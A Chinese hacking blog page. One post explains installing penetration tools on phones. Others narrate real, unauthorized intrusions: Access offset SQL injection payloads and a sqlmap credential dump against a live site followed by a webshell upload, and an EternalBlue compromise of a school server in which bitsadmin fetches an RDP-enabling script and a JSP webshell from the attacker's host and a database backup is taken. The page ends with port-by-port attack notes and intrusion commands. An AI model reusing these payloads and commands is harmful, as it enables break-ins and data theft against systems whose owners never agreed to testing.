老黑博客

一个专注于分享网络安全,黑客技术分享的黑客博客

免root将手机(Android&IOS)改造成移动渗透神器

2019-7-14 老黑 渗透工具

渗透测试人员都习惯一台笔记本走天下,但有的时候笔记本还是太大,一些地方用笔记本做渗透测试还是太招摇,而且有的时候也不会随身都带笔记本。这时如果可以利用随身携带的手机进行渗透,想想都很酷。众所周知,手机版的kali就是Kali NetHunter,但这神器一是要刷机,二是适配的手机非常少,三是即使刷成功了,那你手机上原来的各种软件就不那么好用了。今天跟大家分享一下如何在手机(Android&IOS)上不刷机、免root安装nmap、sqlmap、msf等工具,将手机改造成移动渗透利器。

Android 篇

0x01 安装Termux

Termux是一款开源且不需要root,运行在Android终端上极其强大的linux模拟器,支持apt管理软件包,完美支持python,ruby,go,nodejs。
termux 下载: https://github.com/termux/termux-app
termux 官网:https://termux.com/
安装第一次打开会显示下图:

注意,安装完成后要进行权限设置,Termux只有一个存储权限,记得打开,否则Termux会一直如上图一样旋转;

安装完毕,Termux登场:

0x02 Termux基本使用

  • Termux界面长按屏幕,显示菜单项(包括返回、复制、粘贴、更多),此时屏幕出现可选择的复制光标。
  • Termux界面从左向右滑动,显示隐藏式导航栏,可以新建、切换、重命名会话session和调用弹出输入法

常用快捷键:

音量-键(Ctrl)+L                清除屏幕内容
音量-键(Ctrl)+C                终止当前操作
音量-键(Ctrl)D                 退出当前会话session
音量+键+D                      Tab键(可自动补全命令或文件名)
音量+键+W                      方向键 上(可显示前一条命令)
音量+键+S                      方向键 下(可显示后一条命令)
音量+键+A                      方向键 左(可左移动光标)
音量+键+D                      方向键 右(可右移动光标)
音量+键+Q                      显示或关闭扩展键(ESC、插入链接CTR、ALT、TAB、-、/、|以及左滑扩展键一栏可切换到全功能支持手机输入法的输入框)

常用命令(和linux基本类似):

apt update 更新源
apt search <query>            全文搜索可安装包
apt install <package>         安装软件包
apt upgrade 升级软件包
apt show <package>           显示软件包的信息
apt list [--installed]        列出所有(或已安装)的软件包信息 apt remove <package>          删除软件包
chmod                         修改文件权限
chown                         修改文件归属
...

0x03 打造Android渗透神器

1、更新源:

apt update && apt upgrade cd .. cd usr/etc/apt
vim sources.list

修改源:

deb [arch=all,aarch64] http://mirrors.tuna.tsinghua.edu.cn/termux stable main
apt update

2、安装nmap

apt install nmap

很方便,完成后在手机上出现熟悉界面:

3、安装sqlmap

首先安装运行sqlmap所需要的包python2,以及clone GitHub包的git包

apt install python2 git
git clone https://github.com/sqlmapproject/sqlmap

时间略长,完成后在手机上出现熟悉界面:

4、安装msf
首先安装wget:

pkg install wget

下载msf安装脚本:

wget https://Auxilus.github.io/metasploit.sh

运行安装脚本:

sh metasploit.sh

这个过程比较慢,大概需要40分钟左右,成功后,在手机中出现熟悉的界面:

IOS 篇

0x01 安装iSH

iSH是一个使用usermode x86模拟器将Linux shell引入IOS设备的工具,基于Alpine Linux,该程序占用空间小,具备一定的安全性且易于上手。不过目前iSH还处于测试阶段,部分功能还不完善。

iSH github地址:https://github.com/tbodt/ish

由于目前iSH还是beta版,所以想要在IOS设备上安装iSH,首先需要安装APP TestFlight,它可以帮助开发人员测试 Beta 版 App。TestFlight运行环境要求: iOS 8 或更高版本的 iPhone、iPad 或 iPod touch。

安装TestFlight后,打开链接: https://testflight.apple.com/join/97i7KM8O ,然后点击“开始测试”,如图所示,就可以打开TestFlight并收到加入iSH测试版的邀请了。

安装iSH完毕后,出现iSH界面:

0x02 iSH基本使用

iSH自带了多功能键盘:

上图中的四个图标分为是:TAB键、Shift键、ESC键以及可以滑动的方向键,结合手机的键盘,基本可以满足shell的一些操作。

常用命令:

apk update 更新源
apk search <query>            全文搜索可安装包
apk add <package>             安装软件包
apk upgrade 升级软件包
apk list [--installed]        列出所有(或已安装)的软件包信息 apk del <package>             删除软件包
chmod                         修改文件权限
chown                         修改文件归属
...

0x03 打造iOS渗透神器

1、更新源:

apk update apk upgrade

2、安装nmap

apk add nmap

很方便,完成后在iphone手机上出现熟悉界面:

需要注意的是,在安装过程中,iphone或者ipad不能锁屏,需要在设置->显示与亮度->自动锁定 设置为为永不锁定,否则会安装失败报错。

3、安装sqlmap

首先安装运行sqlmap所需要的包python2,以及clone GitHub包的git包

apk add python2 git
git clone https://github.com/sqlmapproject/sqlmap

时间略长,完成后在ipad上出现熟悉界面:

其他

如果对手机的键盘不太适应,可以搭配购买便携式的蓝牙键盘,操作起来更加顺手,携带也很方便,可以说是一机在手,天下我有~

说明,本教程文章仅限用于学习和研究目的,请勿用于非法用途。

标签: 渗透 渗透系统

评论(0) 浏览(4)

域名收集途径

2019-7-1 老黑 渗透笔记

标签: 渗透 渗透学习笔记 渗透思路

评论(0) 浏览(6)

记一次Access偏移注入

2019-6-30 老黑 渗透教程

前言

一直想找个目标站,练习一下Access的偏移注入,今天遇见个站,用Sqlmap只能跑出来表名,好的就它了。

已知表名:tbladmin

偏移注入

判断字段数

1 
order by 12 

爆出显示位

1 
union select 1,2,3,4,5,6,7,8,9,10,11,12 from tbladmin 

使用偏移注入

由于列名猜解不出来(后面有猥琐思路),所以使用偏移注入

1 2 3 4 
union select 1,2,3,4,5,6,7,8,9,10,11,12,* from tbladmin - 报错 union select 1,2,3,4,5,6,7,8,9,10,11,* from tbladmin - 报错 .... union select 1,2,3,4,5,6,7,8,* from tbladmin - 正常 

说明了tbladmin表下有8个字段, 代表了所有字段,比如查 tbladmin 表,它有几个字段,那么 就代表几个字段

偏移注入的基本公式

order by 出来的字段数减去 * 号前的字段数,然后再用order by 出来的字段数减去2倍刚才得出来的答案

1 
即 12-8=4 ,12-2*4=4 

关于为什么要减去乘2的问题:由于这个(tbladmin as a inner join tbladmin as b on a.id=b.id)是tbladmin表自连接的,这样from 后面的表就会成为字段数加倍的表

这样就可以使 * 代表的字段拓宽,加大账号,密码在显示位出现的几率

1 
union select 1,2,3,4,* from (tbladmin as a inner join tbladmin as b on a.id=b.id) 

当前字段数已经为:4+4*2 = 12 = 12,这条语句显然是合法的

2

现在可以看到,只出现了账号admin,我们还需要密码,所以继续打乱顺序

1 2 
union select 1,2,3,4,a.id,* from (tbladmin as a inner join tbladmin as b on a.id=b.id) - 页面无变化 union select 1,2,3,4,a.id,b.id,* from (tbladmin as a inner join tbladmin as b on a.id=b.id) - admin变成1 

这里有个偏移注入的核心问题

当前字段数已经为:4+2+4*2 = 14 > 12,但这条语句却依然是合法的,为什么呢?

因为 a.id 和 b.id 在 * 里是有的,所以计算机会自动去掉重复的, 保持集合里元素的唯一性,这样一来最终查询效果的一样,但是里面字段排列顺序却被打乱了,所以才造成了偏移注入的产生。

目前我们已经进行了两次打乱,但是密码还是没有偏移到可显示的位置,这时,我们就需要继续来打乱顺序

1 
union select a.id,b.id,c.id,* from ((tbladmin as a inner join tbladmin as b on a.id=b.id) inner join tbladmin as c on a.id=c.id) 

当前字段数已经为:0+4*3 = 12 = 12,所以这条语句还是合法的

3

继续打乱

1 
union select a.id,b.id,* from ((tbladmin as a inner join tbladmin as b on a.id=b.id) inner join tbladmin as c on a.id=c.id) 

4

1 
union select a.id,* from ((tbladmin as a inner join tbladmin as b on a.id=b.id) inner join tbladmin as c on a.id=c.id) 

5

至此,成功完成,拿去解密发现,WTF,解不出来。。。:

6

联合注入(猥琐)

有时候渗透的思路真是要猥琐至极才好,我沉思了几分钟之后,灵光一闪,掏出了我的御剑珍藏版,扫出了后台(为什么这里要写出来呢,感觉可以算是一种思路)

看下登陆框源码

凭借我多年老司机的经验,这个名字就有可能是列名了:

7

直接联合查询

1 
union select 1,admin_name,admin_pass,4,5,6,7,8,9,10,11,12 from tbladmin 

8

登陆后台+GetShell

但是现在出来依然是admin,直接在Sqlmap里面把表名,列名都指定出来,去dump看看还有没有其他账户

1 
sqlmap.py -u url -T tbladmin -C admin_name,admin_pass --dump 

9

发现ljy账户的密码是可以解密的,成功登陆后台,找到一处任意文件上传成功getshell:

{ 顺带说一下,这个文件上传链接固定,且不需要登陆,是一个通杀,凡是使用该程序的站点,基本都可以秒下来。}

10

这次又是个内网的机器,最近遇到的有点多,用了几个新出的exp,提权失败了,反弹msf也没成功。。。暂时放弃

11

标签: 渗透 渗透文章

评论(0) 浏览(4)

渗透学校某内网服务器

2019-6-29 老黑

”黑“掉自己的学校,可能是大多数黑阔们学生时代共同的执念。

前言:

心血来潮,突然想看看学校有没有能用永恒之蓝打下来的机器,顺便来一波内网渗透,想想上一次测试还是刚爆出永恒之蓝的利用工具的时候,那时候msf都还没整合进去,现在直接就能用msf方便多了。

关于授权问题:本次测试是未授权的,取得授权基本也不太可能(作为曾经网络中心的一员,那些老师什么吊样再清楚不过了),还不想被劝退,尽量将动静做到最小把。

信息收集:

已知 10.10.10.0/24 为学校各种服务器使用的IP

使用MSF中的批量ms17_010验证模块:

1 2 3 4 5 6 
msf5 > use auxiliary/scanner/smb/smb_ms17_010  msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 10.10.10.0-10.10.10.254 rhosts => 10.10.10.0-10.10.10.254 msf5 auxiliary(scanner/smb/smb_ms17_010) > set threads 20 threads => 20 msf5 auxiliary(scanner/smb/smb_ms17_010) > exploit 

扫描的结果如下

漏洞利用:

获取cmdshell

经测试IP为10.10.10.104的主机(2008 x64)可以成功利用:

该主机关键信息:

8080 端口运行着tomcat的服务,3389 端口未开放,3306 运行MySQL服务,其他端口暂不考虑。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 
msf5 > use exploit/windows/smb/ms17_010_eternalblue  msf5 exploit(windows/smb/ms17_010_eternalblue) > show options  Module options (exploit/windows/smb/ms17_010_eternalblue):   Name           Current Setting  Required  Description  ----           ---------------  --------  -----------  RHOSTS                          yes       The target address range or CIDR identifier  RPORT          445              yes       The target port (TCP)  SMBDomain      .                no        (Optional) The Windows domain to use for authentication  SMBPass                         no        (Optional) The password for the specified username  SMBUser                         no        (Optional) The username to authenticate as  VERIFY_ARCH true yes       Check if remote architecture matches exploit Target.  VERIFY_TARGET true yes       Check if remote OS matches exploit Target.   Exploit target:   Id  Name  --  ----  0   Windows 7 and Server 2008 R2 (x64) All Service Packs   msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.10.104 rhosts => 10.10.10.104 msf5 exploit(windows/smb/ms17_010_eternalblue) > run 

如下图成功返回了一个CmdShell,而且还直接是System权限,不过比较疑惑的是,tasklist /SVC 看了下当前进程,有360的主动防御,按道理应该会拦截住的,可能我运气好吧2333:

cmdshell升级meterpreter(失败)

由于cmdshell不如meterpreter好用(meterpreter功能比较强大),尝试升级成meterpreter

第一种方法:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 
msf5 exploit(windows/smb/ms17_010_eternalblue) > use post/multi/manage/shell_to_meterpreter  msf5 post(multi/manage/shell_to_meterpreter) > show options  Module options (post/multi/manage/shell_to_meterpreter):   Name     Current Setting  Required  Description  ----     ---------------  --------  -----------  HANDLER true yes       Start an exploit/multi/handler to receive the connection  LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).  LPORT    4433             yes       Port for payload to connect to.  SESSION                   yes       The session to run this module on.  msf5 post(multi/manage/shell_to_meterpreter) > set session 1 session => 1 msf5 post(multi/manage/shell_to_meterpreter) > run 

第二种方法:

1 
sessions -u 1 

然后不知道为什么失败了(换个思路吧):

远程文件下载:

windows自带的远程文件下载功能很强大,需要用什么就远程下载什么好了。

一开始就想直接开端口,加账号登陆,没想到远程连接出现问题了,然后又想到可以拿下shell试试

开启远程连接

本机开一个apache服务,把 3389.bat 放到 /var/www/html 下,cmdshell 里执行,下载成功后,运行3389.bat

1 
bitsadmin /transfer n http://IP/open3389.bat c:\windows\3389.bat 

运行完毕后(记得删除),发现3389端口已经开启了

Kali下连接远程桌面出了点小问题,百度了下,也没讲多清楚(暂时就放弃了)。

不过后来换到win系统上好像就没问题了,因为当时就想着还是怎么方便怎么来(实体机运行的kali,换回win还得切系统),也就没抓密码。


尝试GetShell

先找到web所在目录(带空格的目录记得用双引号):

1 2 3 4 
dir c:\ dir "c:\Program Files\" ... dir "c:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\eleServer\" 

看后台应该是个电力管理系统:

最后决定将shell放在该系统ui框架的某目录下了

同样用远程文件下载jsp大马到该目录下

1 
bitsadmin /transfer n http://IP/xieying.jsp "c:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\eleServer\BJUI\plugins\xieying.jsp" 

浏览器上访问大马并登陆:

结束

感觉再弄无非就是远程登陆,没什么必要,翻了翻系统文件,就把这个电力系统的war包,还有备份的数据库拿了下来,本地自己搭建下,应该就能得到系统的账号密码了。

后面对于更加深入的横向渗透,emmm,还是算了把,一是技术不够到位,二是不想被劝退。删完了shell,我还是个听话的好学生。

评论(0) 浏览(7)

常见端口号

2019-6-28 老黑 渗透测试

文件共享服务端口

端口号 端口说明 攻击方向
21/22/69 Ftp/TFtp文件传输协议 匿名上传、下载、爆破和嗅探
2049 Nfs服务 配置不当
139 Samba服务 爆破、未授权访问、远程代码执行
389 Ldap目录访问协议 注入允许、匿名访问、弱口令

远程链接服务端口

端口号 端口说明 攻击方向
22 SSH远程连接 爆破、SSH隧道及内网代理转发、文件传输
23 Telnet远程连接 爆破、嗅探、弱口令
3389 Rdp远程桌面连接 Shift后门(Win sever 2003以下系统)、爆破
5900 VNC 弱口令爆破
5632 PyAnywhere服务 抓密码、代码执行

Web应用服务端口

端口号 端口说明 攻击方向
80/443/8080 常见web服务端口 web攻击、爆破、对应服务器版本漏洞
7001/7002 weblogic控制台 Java反序列化、弱口令
8080/8089 Jboss/Resin?Jetty/Jenkins 反序列化、控制台弱口令
9090 WebShphere控制台 Java反序列化、弱口令
4848 GlassFish控制台 弱口令
1352 Lotus domino邮件服务 弱口令、信息泄露、爆破
10000 Webmin-Web控制面板 弱口令

数据库服务端口

端口号 端口说明 攻击方向
3306 Mysql 注入、提权、爆破
1433 MSSQL数据库 注入、提权、SA弱口令、爆破
1521 Oracle数据库 TNS爆破、注入、反弹Shell
5432 PostgreSQL 爆破、注入、弱口令
27017/27018 MongoDB 爆破、未授权访问
6379 Redis数据库 可尝试未授权访问、弱口令、爆破
5000 SysBase/DB2数据库 爆破、注入

邮件服务端口

端口号 端口说明 攻击方向
25 SMTP邮件服务 邮件伪造
110 POP3协议 爆破、嗅探
143 IMAP协议 爆破

网络常见协议端口

端口号 端口说明 攻击方向
53 DNS域名系统 允许区域传送、DNS劫持、缓存投毒、欺骗
67/68 DHCP服务 劫持、欺骗
161 SNMP协议 爆破、搜集目标内网信息

特殊服务端口

端口号 端口说明 攻击方向
2181 Zookeeper服务 未授权访问
8069 Zabbix服务 远程执行、SQL注入
9200/9300 Elastcsearch服务 远程执行
11211 Memcache服务 未授权访问
512/513/514 Linux Rexec服务 爆破、Rlogin登陆
873 Rsync服务 匿名访问、文件上传
6390 Svn服务 Svn泄露、未授权访问
50000 SAPManagement Console 远程代码执行

标签: 端口

评论(0) 浏览(17)

渗透中常见的一些CMD命令

2019-6-27 老黑 渗透笔记

这些命令可以适用于内网渗透,例如net view 查看内网(域)内的所有算机名   
 查询域用户:net user /domain
查询域管理员用户:net group "domain admins" /domain
查询域里面的工作组:net group /domain
查询域名称:net view /domain
查询域内计算机:net view /domain:XX
查询域控制器:net time /domain
查看域控:net group "Domain controllers"
查询所有域控制器:dsquery server
查询登录本机的域管理员:net localgroup administrators /domain
将域用户添加到本机:net localgroup administrators workgroup\user001 /add
net config

该命令用于显示工作站或服务器服务的配置消息,或者显示并更改某项服务的设置

netstat
这个就不用我过多阐述了
使用netstat命令查看网络连接的相关信息

使用netstat -a命令:显示所有连接和端口

使用netstat -b命令:显示包含创建每个连接或者监听端口的可执行文件

使用netstat -e命令:显示以太网数据统计,可以结合-s使用

使用netstat -n命令:能以网络IP地址代替名称,显示网络连接情形

netstat /help查看命令帮助。。。
初步调查阶段:
tasklist - 显示运行的所有进程
ver - 显示系统版本号
ipconfig - 显示当前TCP / IP网络配置
systeminfo - 显示关于计算机及其操作系统的详细配置信息
净时间 - 查看系统时间
netstat - 显示网络连接,路由表和网络接口信息
whoami - 查看当前有效用户名
net start - 启动服务
qprocess - 显示RD会话主机服务器上正在运行的进程的相关信息
查询 - 显示进程,会话和RD会话主机服务器的相关信息
侦查阶段
dir - 显示磁盘目录内容
净视图 - 显示共享资源列表
ping - 检查网络是否连通
net use - 查看连接的计算机
type - 显示文本文件的内容
net user - 显示用户账户信息
net localgroup - 修改计算机上的本地组
net group - 添加,显示或修改服务器上的全局组
net config - 显示正在运行的可配置服务
净份额 - 创建,删除或显示共享资源
感染阶段
at - 计划任务
reg - 注册表操作
wmic - 提供了从命令行接口和批命令脚本执行系统管理的支持
wusa - 安装补丁
netsh advfirewall - 管理防火墙
sc - 用来和NT服务控制器和服务进行通讯的命令行程序
rundll32 - 调用动态链接程序库

更多的解释大家可以去上网搜索下

标签: 渗透 cmd命令

评论(0) 浏览(18)